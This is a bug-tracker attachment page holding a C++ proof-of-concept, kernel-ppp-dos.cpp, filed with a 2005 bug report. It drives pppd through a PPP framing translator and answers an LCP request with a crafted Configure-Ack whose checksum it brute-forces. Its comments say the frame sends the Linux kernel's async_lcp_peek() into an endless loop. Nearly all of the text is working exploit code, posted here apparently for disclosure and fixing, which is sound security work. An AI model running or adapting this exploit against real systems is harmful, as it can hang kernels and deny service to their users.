Attachment 28503 Details for Bug 65857

kernel-ppp-dos.cpp

kernel-ppp-dos.cpp (text/x-c++src), 11.87 KB, created by Thomas Biege on 2005-02-16 00:15:20 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Thomas Biege

Created: 2005-02-16 00:15:20 UTC

Size: 11.87 KB

patch

obsolete

>#include <stdio.h>
>#include <unistd.h>
>#include <sys/types.h>
>
>#define UInt32 unsigned int
>#define UInt16 unsigned short
>
>class TranslaterListener
>{
>    public:
>        TranslaterListener() {}
>        virtual ~TranslaterListener() {}
>
>        virtual void writeSync(unsigned char* data, int length) = 0;
>        virtual void writeAsync(unsigned char* data, int length) = 0;
>};
>
>/*!
> * Translates between sync PPP and async PPP, as defined in RFC 1662.
> */
>class Translater
>{
>    private:
>        const char* kextName;
>        TranslaterListener* listener;
>        int toSyncMRU;
>        int toAsyncMRU;
>        UInt32 txAccm[8];
>
>        unsigned char* syncBuffer;
>        int syncBufferSize;
>        int syncBufferIdx;
>        bool syncEscape;
>        UInt16 syncFCS;
>
>        unsigned char* asyncBuffer;
>        int asyncBufferSize;
>
>    public:
>        Translater(const char* kextName, TranslaterListener* listener);
>        ~Translater();
>
>        /*!
>         * Reset the state of the translation to an initial state.  Should be
>         * called when a new connection is started.
>         */
>        void reset();
>
>        /*!
>         * Translate async PPP to sync PPP.
>         */
>        void toSync(unsigned char* data, int length);
>
>        /*!
>         * Translate a whole sync PPP packet to async PPP.
>         */
>        void toAsync(unsigned char* data, int length);
>
>        static UInt16 fcstab[256];
>
>    private:
>        void allocateSyncBuffer();
>        void allocateAsyncBuffer();
>};
>
>
>#define TEST_ERROR(xx)
>#define TEST_INFO(xx)
>#define TEST_DEBUG_VERBOSE(xx)
>
>#define PPP_HEADER_SIZE   2
>#define PPP_DEFAULT_MRU   1500
>#define PPP_PROTO_LCP     0xc021
>#define PPP_FLAG          0x7e
>#define PPP_ESCAPE        0x7d
>#define PPP_CONFIGURE_ACK 2
>#define PPP_LCP_MRU       1
>#define PPP_LCP_ACCM      2
>
>/*
>* FCS lookup table as calculated by the table generator.
>*/
>UInt16 Translater::fcstab[256] = {
>  0x0000, 0x1189, 0x2312, 0x329b, 0x4624, 0x57ad, 0x6536, 0x74bf,
>  0x8c48, 0x9dc1, 0xaf5a, 0xbed3, 0xca6c, 0xdbe5, 0xe97e, 0xf8f7,
>  0x1081, 0x0108, 0x3393, 0x221a, 0x56a5, 0x472c, 0x75b7, 0x643e,
>  0x9cc9, 0x8d40, 0xbfdb, 0xae52, 0xdaed, 0xcb64, 0xf9ff, 0xe876,
>  0x2102, 0x308b, 0x0210, 0x1399, 0x6726, 0x76af, 0x4434, 0x55bd,
>  0xad4a, 0xbcc3, 0x8e58, 0x9fd1, 0xeb6e, 0xfae7, 0xc87c, 0xd9f5,
>  0x3183, 0x200a, 0x1291, 0x0318, 0x77a7, 0x662e, 0x54b5, 0x453c,
>  0xbdcb, 0xac42, 0x9ed9, 0x8f50, 0xfbef, 0xea66, 0xd8fd, 0xc974,
>  0x4204, 0x538d, 0x6116, 0x709f, 0x0420, 0x15a9, 0x2732, 0x36bb,
>  0xce4c, 0xdfc5, 0xed5e, 0xfcd7, 0x8868, 0x99e1, 0xab7a, 0xbaf3,
>  0x5285, 0x430c, 0x7197, 0x601e, 0x14a1, 0x0528, 0x37b3, 0x263a,
>  0xdecd, 0xcf44, 0xfddf, 0xec56, 0x98e9, 0x8960, 0xbbfb, 0xaa72,
>  0x6306, 0x728f, 0x4014, 0x519d, 0x2522, 0x34ab, 0x0630, 0x17b9,
>  0xef4e, 0xfec7, 0xcc5c, 0xddd5, 0xa96a, 0xb8e3, 0x8a78, 0x9bf1,
>  0x7387, 0x620e, 0x5095, 0x411c, 0x35a3, 0x242a, 0x16b1, 0x0738,
>  0xffcf, 0xee46, 0xdcdd, 0xcd54, 0xb9eb, 0xa862, 0x9af9, 0x8b70,
>  0x8408, 0x9581, 0xa71a, 0xb693, 0xc22c, 0xd3a5, 0xe13e, 0xf0b7,
>  0x0840, 0x19c9, 0x2b52, 0x3adb, 0x4e64, 0x5fed, 0x6d76, 0x7cff,
>  0x9489, 0x8500, 0xb79b, 0xa612, 0xd2ad, 0xc324, 0xf1bf, 0xe036,
>  0x18c1, 0x0948, 0x3bd3, 0x2a5a, 0x5ee5, 0x4f6c, 0x7df7, 0x6c7e,
>  0xa50a, 0xb483, 0x8618, 0x9791, 0xe32e, 0xf2a7, 0xc03c, 0xd1b5,
>  0x2942, 0x38cb, 0x0a50, 0x1bd9, 0x6f66, 0x7eef, 0x4c74, 0x5dfd,
>  0xb58b, 0xa402, 0x9699, 0x8710, 0xf3af, 0xe226, 0xd0bd, 0xc134,
>  0x39c3, 0x284a, 0x1ad1, 0x0b58, 0x7fe7, 0x6e6e, 0x5cf5, 0x4d7c,
>  0xc60c, 0xd785, 0xe51e, 0xf497, 0x8028, 0x91a1, 0xa33a, 0xb2b3,
>  0x4a44, 0x5bcd, 0x6956, 0x78df, 0x0c60, 0x1de9, 0x2f72, 0x3efb,
>  0xd68d, 0xc704, 0xf59f, 0xe416, 0x90a9, 0x8120, 0xb3bb, 0xa232,
>  0x5ac5, 0x4b4c, 0x79d7, 0x685e, 0x1ce1, 0x0d68, 0x3ff3, 0x2e7a,
>  0xe70e, 0xf687, 0xc41c, 0xd595, 0xa12a, 0xb0a3, 0x8238, 0x93b1,
>  0x6b46, 0x7acf, 0x4854, 0x59dd, 0x2d62, 0x3ceb, 0x0e70, 0x1ff9,
>  0xf78f, 0xe606, 0xd49d, 0xc514, 0xb1ab, 0xa022, 0x92b9, 0x8330,
>  0x7bc7, 0x6a4e, 0x58d5, 0x495c, 0x3de3, 0x2c6a, 0x1ef1, 0x0f78
>};
>
>#define PPPINITFCS16    0xffff  /* Initial FCS value */
>#define PPPGOODFCS16    0xf0b8  /* Good final FCS value */
>
>Translater::Translater(const char* kextName, TranslaterListener* listener)
>    : kextName(kextName),
>      listener(listener),
>      syncBuffer(NULL),
>      asyncBuffer(NULL)
>{
>    reset();
>}
>
>Translater::~Translater()
>{
>    delete[] syncBuffer;
>    delete[] asyncBuffer;
>}
>
>/*!
> * Reset the state of the translation to an initial state.  Should be
> * called when a new connection is started.
> */
>void Translater::reset()
>{
>    toSyncMRU = PPP_DEFAULT_MRU;
>    toAsyncMRU = PPP_DEFAULT_MRU;
>    txAccm[0] = ~0;           // Escape 0x00 to 0x1F by default
>    txAccm[1] = 0;
>    txAccm[2] = 0;
>    txAccm[3] = 0x60000000;  // Always escape 0x7d and 0x7e
>    txAccm[4] = 0;
>    txAccm[5] = 0;
>    txAccm[6] = 0;
>    txAccm[7] = 0;
>    allocateSyncBuffer();
>    allocateAsyncBuffer();
>}
>
>void Translater::allocateSyncBuffer()
>{
>    delete[] syncBuffer;
>      // Two extra bytes at the beginning for 0xff 0x03 which the modem requires.
>      // Two extra bytes at the end for temporary storage of the FCS
>    syncBufferSize = 2 + PPP_HEADER_SIZE + toSyncMRU + 2;
>    syncBuffer = new unsigned char[syncBufferSize];
>    syncBufferIdx = 0;
>    syncEscape = false;
>    syncFCS = PPPINITFCS16;
>}
>
>void Translater::allocateAsyncBuffer()
>{
>    delete[] asyncBuffer;
>      // Two extra bytes at the beginning for 0xff 0x03 which the async PPP requires.
>      // Two extra bytes at the end for temporary storage of the FCS
>      // Allocate enough space for each character to be escaped (* 2), and
>      // allow for a beginning and ending flag (+ 2).
>    asyncBufferSize = (2 + PPP_HEADER_SIZE + toAsyncMRU + 2)*2 + 2;
>    asyncBuffer = new unsigned char[asyncBufferSize];
>}
>
>/*!
> * Translate async PPP to sync PPP.
> */
>void Translater::toSync(unsigned char* data, int length)
>{
>    for (int i = 0; i < length; i++) {
>        unsigned char c = data[i];
>        if (c == PPP_FLAG) {
>            if (syncBufferIdx >= 5 && syncBuffer[0] == 0xff && syncBuffer[1] == 0x03) {
>                if (syncBufferIdx > syncBufferSize) {
>                      // Note: Subtract 2 for 0xff 0x03
>                      // Subtract 2 for protocol no
>                      // Subtract 2 for FCS
>                    TEST_ERROR(("%s: async PPP packet size %d received from modem exceeds to-sync MRU of %d\n",
>                        kextName, syncBufferIdx-6, toSyncMRU));
>                }
>                else
>                if (syncFCS == PPPGOODFCS16) {
>                      // Remove the FCS, but keep the 0xff 0x03, because the modem
>                      // requires it.
>                    listener->writeSync(syncBuffer, syncBufferIdx-2);
>                }
>                else {
>                    TEST_INFO(("%s: async PPP fcs mismatch!\n", kextName));
>                }
>            }
>            syncBufferIdx = 0;
>            syncEscape = false;
>            syncFCS = PPPINITFCS16;
>        }
>        else
>        if (syncEscape) {
>            c ^= 0x20;
>            if (syncBufferIdx < syncBufferSize) {
>                syncBuffer[syncBufferIdx] = c;
>                syncFCS = (syncFCS >> 8) ^ fcstab[(syncFCS ^ (c)) & 0xff];
>            }
>            syncBufferIdx++;
>            syncEscape = false;
>        }
>        else
>        if (c == PPP_ESCAPE) {
>            syncEscape = true;
>        }
>        else {
>            if (syncBufferIdx < syncBufferSize) {
>                syncBuffer[syncBufferIdx] = c;
>                syncFCS = (syncFCS >> 8) ^ fcstab[(syncFCS ^ (c)) & 0xff];
>            }
>            syncBufferIdx++;
>        }
>    }
>}
>
>#define ESCAPE(datum) \
>    if ((isLCP && (datum) < 0x20) || txAccm[(datum) >> 5] & (1 << ((datum) & 0x1f))) { \
>        asyncBuffer[j++] = PPP_ESCAPE; \
>        asyncBuffer[j++] = datum ^ 0x20; \
>    } \
>    else \
>        asyncBuffer[j++] = datum
>
>#define CALC_FCS(datum) \
>    fcs = (fcs >> 8) ^ fcstab[(fcs ^ (datum)) & 0xff]
>
>/*!
> * Translate a whole sync PPP packet to async PPP.
> */
>void Translater::toAsync(unsigned char* data, int length)
>{
>      // Strip leading 0xff 0x03 if it is present.
>    if (length >= 2 && data[0] == 0xff && data[1] == 0x03) {
>        data += 2;
>        length -= 2;
>    }
>
>      // If the packet is too large...
>    if (length > (PPP_HEADER_SIZE + toAsyncMRU)) {
>        TEST_ERROR(("%s: sync PPP packet size %d received from modem exceeds to-async MRU of %d\n",
>            kextName, length-2, toAsyncMRU));
>        return;
>    }
>
>    UInt16 proto = ((UInt16)data[0] << 8) | (UInt16)data[1];
>    bool isLCP = proto == PPP_PROTO_LCP && length >= 3 && data[2] >= 1 && data[2] <= 7;
>    
>    int i = 0, j = 0;
>    
>    UInt16 fcs = PPPINITFCS16;
>    asyncBuffer[j++] = PPP_FLAG;  // Start frame marker
>
>    ESCAPE(0xff);
>    CALC_FCS(0xff);
>    ESCAPE(0x03);
>    CALC_FCS(0x03);
>    while (i < length) {
>        ESCAPE(data[i]);
>        CALC_FCS(data[i]);
>        i++;
>    }
>    fcs ^= 0xffff;                 /* complement */
>    unsigned char c = (unsigned char) fcs;
>    ESCAPE(c);
>    c = (unsigned char) (fcs >> 8);
>    ESCAPE(c);
>    asyncBuffer[j++] = PPP_FLAG;  // End of frame marker
>
>    listener->writeAsync(asyncBuffer, j);
>}
>
>
>class MyListener : public TranslaterListener
>{
>    private:
>        int outFD;
>
>    public:
>        MyListener(int outFD) : outFD(outFD), translater(NULL) {}
>        ~MyListener() {}
>                
>        virtual void writeSync(unsigned char* data, int length);
>        virtual void writeAsync(unsigned char* data, int length);
>                            
>        Translater* translater;
>};
>
>void MyListener::writeSync(unsigned char* data, int length)
>{
>        printf("sync:");
>        for (int i = 0; i < length; i++)
>            printf(" %02x", data[i]);
>        printf("\n");
>
>        if (data[2] == 0xc0 && data[3] == 0x21 && data[4] == 0x01) {
>            data[4] = PPP_CONFIGURE_ACK;
>
>            UInt16 fcs = PPPINITFCS16;
>            length = ((int) data[6] << 8 | (int)data[7]) + 4;
>            for (int i = 5; i < length; i++)
>                fcs = (fcs >> 8) ^ Translater::fcstab[(fcs ^ data[i]) & 0xff];
>
>	      // The zero in position 9 here is what causes the problem.
>	      // The kernel code that hangs is a method called async_lcp_peek() in drivers/net/ppp_async.c
>	      // The while loop gets into a tight loop forever.
>            for (int i = 8; i < length; i++)
>                data[i] = 0x00;
>
>              // Brute-force an CRC that will satisfy the CRC matching check at the top of the
>	      // async_lcp_peek function.
>            while (true) {
>                UInt16 newFCS = PPPINITFCS16;
>                for (int i = 5; i < length; i++)
>                    newFCS = (newFCS >> 8) ^ Translater::fcstab[(newFCS ^ data[i]) & 0xff];
>                if (newFCS == fcs)
>                    break;
>                for (int i = 10; i < length; i++) {
>                    data[i]++;
>                    if (data[i] != 0)
>                        break;
>                }
>            }
>
>            printf("reply:");
>            for (int i = 0; i < length; i++)
>                printf(" %02x", data[i]);
>            printf("\n");
>
>            translater->toAsync(data, length);
>        }
>}
>
>void MyListener::writeAsync(unsigned char* data, int length)
>{
>    write(outFD, data, length);
>}
>
>int main(int argc, char* argv[])
>{
>    int inPipe[2];
>    pipe(inPipe);
>    int outPipe[2];
>    pipe(outPipe);
>
>    pid_t pid = fork();
>    if (pid == 0) {
>        dup2(outPipe[0], 0);
>        dup2(inPipe[1], 1);
>        close(outPipe[1]);
>        close(inPipe[0]);
>        printf("Hello!");
>        execl("/usr/sbin/pppd", "/usr/sbin/pppd", "notty", "debug", NULL);
>        return 1;
>    }
>    close(outPipe[0]);
>    close(inPipe[1]);
>
>    MyListener listener(outPipe[1]);
>    Translater translater("kernel-dos", &listener);
>    listener.translater = &translater;
>
>    printf("Talking to pppd\n");
>    unsigned char buf[1024];
>    int n;
>    while ((n = read(inPipe[0], buf, sizeof(buf))) > 0) {
>        printf("read %d bytes\n", n);
>        translater.toSync(buf, n);
>    }
>}
>

Actions: View

Attachments on bug 65857: 28503 | 28504 | 28505